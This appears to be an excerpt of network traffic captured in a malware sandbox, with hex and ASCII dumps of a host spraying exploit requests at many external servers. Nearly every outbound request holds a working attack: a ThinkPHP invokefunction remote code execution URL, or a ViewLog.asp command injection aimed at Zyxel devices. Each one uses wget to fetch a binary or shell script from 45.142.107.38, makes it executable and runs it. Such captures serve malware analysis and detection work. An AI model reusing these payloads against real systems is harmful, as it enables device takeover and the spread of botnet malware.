46 3b 63 75 72 73 6f 72 3a 70 6f 69 6e 74 65 72 7d 2e 42 7b 63 6f 6c 6f 72 3a 23 39 30 39 30 39 30 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 31 35 70 78 7d 2e 41 7b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 33 30 70 78 7d 2e 68 69 64 65 5f 6d 65 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 3c 2f 73 74 79 6c 65 3e 0a 09 3c 2f 68 65 61 64 3e 0a 09 3c 62 6f 64 79 3e 0a 09 09 3c 64 69 76 20 69 64 3d 22 70 22 20 63 6c 61 73 73 3d 22 50 22 3e 0a 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 4b 22 3e 34 30 30 3c 2f 64 69 76 3e 0a 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 4f 20 49 22 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 64 69 76 3e 0a 09 09 09 3c 70 20 63 6c 61 73 73 3d 22 4a 20 41 20 4c 22 3e 45 72 72 6f 72 20 54 69 6d 65 73 3a 20 4d 6f 6e 2c 20 30 34 20 4d 61 72 20 32 30 32 34 20 31 34 3a 30 38 3a 31 33 20 47 4d 54 0a 09 09 09 09 3c 62 72 3e 0a 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 46 22 3e 49 50 3a 20 31 35 34 2e 31 36 2e 31 39 32 2e 32 30 33 3c 2f 73 70 61 6e 3e 4e 6f 64 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 3a 20 50 53 2d 48 46 45 2d 30 31 45 79 67 34 37 0a 09 09 09 09 3c 62 72 3e 55 52 4c 3a 20 68 74 74 70 3a 2f 2f 2f 69 6e 64 65 78 2e 70 68 70 3f 73 3d 2f 69 6e 64 65 78 2f 09 68 69 6e 6b 07 70 70 2f 69 6e 76 6f 6b 65 66 75 6e 63 74 69 6f 6e 26 61 6d 70 3b 66 75 6e 63 74 69 6f 6e 3d 63 61 6c 6c 5f 75 73 65 72 5f 66 75 6e 63 5f 61 72 72 61 79 26 61 6d 70 3b 76 61 72 73 5b 30 5d 3d 73 68 65 6c 6c 5f 65 78 65 63 26 61 6d 70 3b 76 61 72 73 5b 31 5d 5b 5d 3d 27 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 62 Data Ascii: <!DOCTYPE html><html><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><title>400 Bad Request</title><style type="text/css">body{margin:5% auto 0 auto;padding:0 18px}.P{margin:0 22%}.O{margin-top:20px}.N{margin-top:10px}.M{margin:10px 0 30px 0}.L{margin-bottom:60px}.K{font-size:25px;color:#F90}.J{font-size:14px}.I{font-size:20px}.H{font-size:18px}.G{font-size:16px}.F{width:230px;float:left}.E{margin-top:5px}.D{margin:8px 0 0 -20px}.C{color:#3CF;cursor:pointer}.B{color:#909090;margin-top:15px}.A{line-height:30px}.hide_me{display:none}</style></head><body><div id="p" class="P"><div class="K">400</div><div class="O I">Bad Request</div><p class="J A L">Error Times: Mon, 04 Mar 2024 14:08:13 GMT<br><span class="F">IP: 154.16.192.203</span>Node information: PS-HFE-01Eyg47<br>URL: http:///index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/b
Mar 4, 2024 15:08:13.195622921 CET	1286	IN	Data Raw: 69 6e 73 2f 78 38 36 20 2d 4f 20 74 68 6f 6e 6b 70 68 70 20 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 68 6f 6e 6b 70 68 70 20 3b 20 2e 2f 74 68 6f 6e 6b 70 68 70 20 54 68 69 6e 6b 50 48 50 20 3b 20 72 6d 20 2d 72 66 20 74 68 69 6e 6b 70 68 70 27 0a Data Ascii: ins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp'<br>Request-Id: 65e5d5cd_PS-HFE-01Eyg47_30654-20960<br><br>Check:<span class="C G" onclick="s(0)">Details</span></p></div><div id="d" cl
Mar 4, 2024 15:08:13.195760965 CET	462	IN	Data Raw: 72 20 50 55 54 20 72 65 71 75 65 73 74 73 3c 2f 6c 69 3e 0a 09 09 09 09 09 3c 6c 69 20 63 6c 61 73 73 3d 22 44 22 3e 49 6c 6c 65 67 61 6c 20 63 68 61 72 61 63 74 65 72 20 69 6e 20 68 6f 73 74 6e 61 6d 65 3b 75 6e 64 65 72 73 63 6f 72 65 73 20 61 Data Ascii: r PUT requests</li><li class="D">Illegal character in hostname;underscores are not allowed</li><li class="D">Range Invalid</li></ul></div><a class="N C" href="#" onclick="s(1)">return</a></div><script type="text/javascri
Mar 4, 2024 15:08:13.298858881 CET	462	IN	Data Raw: 72 20 50 55 54 20 72 65 71 75 65 73 74 73 3c 2f 6c 69 3e 0a 09 09 09 09 09 3c 6c 69 20 63 6c 61 73 73 3d 22 44 22 3e 49 6c 6c 65 67 61 6c 20 63 68 61 72 61 63 74 65 72 20 69 6e 20 68 6f 73 74 6e 61 6d 65 3b 75 6e 64 65 72 73 63 6f 72 65 73 20 61 Data Ascii: r PUT requests</li><li class="D">Illegal character in hostname;underscores are not allowed</li><li class="D">Range Invalid</li></ul></div><a class="N C" href="#" onclick="s(1)">return</a></div><script type="text/javascri
Mar 4, 2024 15:08:13.489729881 CET	462	IN	Data Raw: 72 20 50 55 54 20 72 65 71 75 65 73 74 73 3c 2f 6c 69 3e 0a 09 09 09 09 09 3c 6c 69 20 63 6c 61 73 73 3d 22 44 22 3e 49 6c 6c 65 67 61 6c 20 63 68 61 72 61 63 74 65 72 20 69 6e 20 68 6f 73 74 6e 61 6d 65 3b 75 6e 64 65 72 73 63 6f 72 65 73 20 61 Data Ascii: r PUT requests</li><li class="D">Illegal character in hostname;underscores are not allowed</li><li class="D">Range Invalid</li></ul></div><a class="N C" href="#" onclick="s(1)">return</a></div><script type="text/javascri
Mar 4, 2024 15:08:13.697704077 CET	462	IN	Data Raw: 72 20 50 55 54 20 72 65 71 75 65 73 74 73 3c 2f 6c 69 3e 0a 09 09 09 09 09 3c 6c 69 20 63 6c 61 73 73 3d 22 44 22 3e 49 6c 6c 65 67 61 6c 20 63 68 61 72 61 63 74 65 72 20 69 6e 20 68 6f 73 74 6e 61 6d 65 3b 75 6e 64 65 72 73 63 6f 72 65 73 20 61 Data Ascii: r PUT requests</li><li class="D">Illegal character in hostname;underscores are not allowed</li><li class="D">Range Invalid</li></ul></div><a class="N C" href="#" onclick="s(1)">return</a></div><script type="text/javascri

Session ID	Source IP	Source Port	Destination IP	Destination Port
613	192.168.2.13	57318	95.100.75.199	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:14.500318050 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:08:14.673368931 CET	480	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 258 Expires: Mon, 04 Mar 2024 14:08:14 GMT Date: Mon, 04 Mar 2024 14:08:14 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 39 66 37 61 37 62 35 63 26 23 34 36 3b 31 37 30 39 35 36 31 32 39 34 26 23 34 36 3b 31 61 63 64 63 34 32 38 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.9f7a7b5c.1709561294.1acdc428</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
614	192.168.2.13	48788	95.110.169.218	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:14.513405085 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:08:14.699918032 CET	502	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 04 Mar 2024 14:08:13 GMT Connection: close Content-Length: 311 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 69 73 20 62 61 64 6c 79 20 66 6f 72 6d 65 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request</h2><hr><p>HTTP Error 400. The request is badly formed.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
615	192.168.2.13	47756	31.204.128.101	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:15.357557058 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:08:16.214854956 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
616	192.168.2.13	37218	95.85.136.149	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:15.404138088 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
617	192.168.2.13	54970	62.174.9.52	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:15.432250023 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
618	192.168.2.13	53216	95.163.241.160	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:15.609565020 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:08:15.825017929 CET	421	IN	HTTP/1.1 404 Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers Content-Disposition: inline;filename=f.txt Content-Type: application/json Transfer-Encoding: chunked Date: Mon, 04 Mar 2024 14:08:15 GMT Keep-Alive: timeout=60 Connection: keep-alive Data Raw: 36 63 0d 0a 7b 22 74 69 6d 65 73 74 61 6d 70 22 3a 22 32 30 32 34 2d 30 33 2d 30 34 54 31 34 3a 30 38 3a 31 35 2e 37 31 36 2b 30 30 3a 30 30 22 2c 22 73 74 61 74 75 73 22 3a 34 30 34 2c 22 65 72 72 6f 72 22 3a 22 4e 6f 74 20 46 6f 75 6e 64 22 2c 22 70 61 74 68 22 3a 22 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 22 7d 0d 0a Data Ascii: 6c{"timestamp":"2024-03-04T14:08:15.716+00:00","status":404,"error":"Not Found","path":"/cgi-bin/ViewLog.asp"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
619	192.168.2.13	46376	31.146.138.74	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:15.982379913 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
620	192.168.2.13	51966	95.100.238.96	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:18.890026093 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:08:19.072957993 CET	480	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 258 Expires: Mon, 04 Mar 2024 14:08:18 GMT Date: Mon, 04 Mar 2024 14:08:18 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 34 37 37 65 31 39 62 38 26 23 34 36 3b 31 37 30 39 35 36 31 32 39 38 26 23 34 36 3b 31 36 38 66 38 63 66 32 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.477e19b8.1709561298.168f8cf2</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
621	192.168.2.13	58462	95.58.241.23	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:18.978441000 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:08:19.809855938 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:08:20.079026937 CET	29	IN	HTTP/1.1 200 OK
Mar 4, 2024 15:08:20.079063892 CET	515	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 Data Ascii: Connection: closePragma: no-cacheCache-Control: no-cacheContent-Type: text/html; charset=utf-8<!DOCTYPE html PUBLIC "-//W3C//Dtd XHTML 1.0 Strict//EN" "http://www.w3.org/tr/xhtml1/Dtd/xhtml1-Transitional.dtd"><html xmlns="http://www

Session ID	Source IP	Source Port	Destination IP	Destination Port
622	192.168.2.13	35222	95.59.108.108	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:18.980428934 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:08:19.255744934 CET	29	IN	HTTP/1.1 200 OK
Mar 4, 2024 15:08:19.255841017 CET	515	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 Data Ascii: Connection: closePragma: no-cacheCache-Control: no-cacheContent-Type: text/html; charset=utf-8<!DOCTYPE html PUBLIC "-//W3C//Dtd XHTML 1.0 Strict//EN" "http://www.w3.org/tr/xhtml1/Dtd/xhtml1-Transitional.dtd"><html xmlns="http://www

Session ID	Source IP	Source Port	Destination IP	Destination Port
623	192.168.2.13	44976	95.100.4.124	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:19.181051016 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:08:19.678364992 CET	480	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 258 Expires: Mon, 04 Mar 2024 14:08:19 GMT Date: Mon, 04 Mar 2024 14:08:19 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 34 64 37 32 32 63 33 31 26 23 34 36 3b 31 37 30 39 35 36 31 32 39 39 26 23 34 36 3b 31 38 63 30 36 65 34 64 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.4d722c31.1709561299.18c06e4d</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
624	192.168.2.13	45394	112.187.188.201	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:19.354593039 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:08:19.652337074 CET	445	IN	HTTP/1.1 404 Not Found Date: Mon, 04 Mar 2024 14:08:21 GMT Server: Apache/2.4.17 (Win64) PHP/7.0.1 Content-Length: 207 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
625	192.168.2.13	34814	31.136.165.165	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:19.753580093 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:08:22.902909994 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
